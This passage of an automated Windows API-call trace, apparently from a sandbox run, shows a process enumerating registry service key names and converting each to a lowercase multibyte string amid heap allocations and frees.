(HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.879] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0245.879] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0245.879] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0245.879] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.879] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0245.879] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.879] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.879] RegEnumKeyW (in: hKey=0x154, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0245.879] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.879] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0245.879] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.879] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1970, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0245.879] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0245.879] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.879] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0245.879] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.879] RegEnumKeyW (in: hKey=0x154, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0245.879] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.879] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0245.879] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0245.879] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0245.879] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.879] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0245.879] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.879] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.879] RegEnumKeyW (in: hKey=0x154, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0245.879] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.879] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0245.879] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.879] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0245.879] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0245.879] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.880] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0245.880] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.880] RegEnumKeyW (in: hKey=0x154, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0245.880] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.880] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0245.880] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0245.880] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0245.880] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.880] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0245.880] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.880] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.880] RegEnumKeyW (in: hKey=0x154, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0245.880] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.880] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0245.880] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.880] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1970, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0245.880] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0245.880] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.880] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0245.880] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.880] RegEnumKeyW (in: hKey=0x154, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0245.880] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.880] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0245.880] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0245.880] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0245.880] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.880] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0245.880] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.880] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.880] RegEnumKeyW (in: hKey=0x154, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0245.880] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.881] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0245.881] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.881] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0245.881] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0245.881] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.881] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0245.881] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.881] RegEnumKeyW (in: hKey=0x154, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0245.881] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.881] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0245.881] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0245.881] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0245.881] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.881] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0245.881] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.881] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.881] RegEnumKeyW (in: hKey=0x154, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0245.881] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.881] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0245.881] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.881] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0245.881] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0245.881] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.881] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0245.881] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.881] RegEnumKeyW (in: hKey=0x154, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0245.881] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.881] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0245.881] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0245.881] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0245.881] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.881] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0245.882] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.882] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.882] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0245.882] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.882] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0245.882] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.882] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1970, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0245.882] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0245.882] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.882] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0245.882] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.882] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0245.882] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.882] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0245.882] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0245.882] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1b68, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0245.882] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.882] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0245.882] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.882] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.882] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0245.882] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.882] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0245.882] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.882] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1970, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0245.882] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0245.882] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.882] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0245.882] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.882] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0245.882] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.882] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0245.883] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0245.883] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1b68, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0245.883] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0245.883] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0245.883] RegEnumKeyW (in: hKey=0x154, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0245.883] RegEnumKeyW (in: hKey=0x154, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0245.883] RegEnumKeyW (in: hKey=0x154, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0245.883] RegEnumKeyW (in: hKey=0x154, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0245.883] RegEnumKeyW (in: hKey=0x154, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0245.883] RegEnumKeyW (in: hKey=0x154, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0245.883] RegEnumKeyW (in: hKey=0x154, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0245.884] RegEnumKeyW (in: hKey=0x154, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0245.884] RegEnumKeyW (in: hKey=0x154, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0245.884] RegEnumKeyW (in: hKey=0x154, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0245.884] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0245.884] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0245.884] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0245.884] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0245.884] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0245.884] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0245.884] RegEnumKeyW (in: hKey=0x154, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0245.884] RegEnumKeyW (in: hKey=0x154, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0245.884] RegEnumKeyW (in: hKey=0x154, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0245.884] RegEnumKeyW (in: hKey=0x154, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0245.885] RegEnumKeyW (in: hKey=0x154, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0245.885] RegEnumKeyW (in: hKey=0x154, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0245.885] RegEnumKeyW (in: hKey=0x154, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0245.885] RegEnumKeyW (in: hKey=0x154, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0245.885] RegEnumKeyW (in: hKey=0x154, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0245.885] RegEnumKeyW (in: hKey=0x154, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0245.885] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0245.885] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0245.885] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0245.885] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0245.885] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0245.885] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0245.886] RegEnumKeyW (in: hKey=0x154, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0245.886] RegEnumKeyW (in: hKey=0x154, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0245.886] RegEnumKeyW (in: hKey=0x154, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0245.886] RegEnumKeyW (in: hKey=0x154, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0245.886] RegEnumKeyW (in: hKey=0x154, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0245.886] RegEnumKeyW (in: hKey=0x154, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0245.886] RegEnumKeyW (in: hKey=0x154, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0245.886] RegEnumKeyW (in: hKey=0x154, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0245.886] RegEnumKeyW (in: hKey=0x154, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0245.886] RegEnumKeyW (in: hKey=0x154, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0245.886] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0245.886] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0245.886] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0245.887] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0245.887] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0245.887] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0245.887] RegEnumKeyW (in: hKey=0x154, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0245.887] RegEnumKeyW (in: hKey=0x154, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0245.887] RegEnumKeyW (in: hKey=0x154, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0245.887] RegEnumKeyW (in: hKey=0x154, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0245.887] RegEnumKeyW (in: hKey=0x154, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0245.887] RegEnumKeyW (in: hKey=0x154, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0245.887] RegEnumKeyW (in: hKey=0x154, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0245.887] RegEnumKeyW (in: hKey=0x154, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0245.887] RegEnumKeyW (in: hKey=0x154, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0245.887] RegEnumKeyW (in: hKey=0x154, dwIndex=0x79, lpName=0x2152850, cchName=0x104 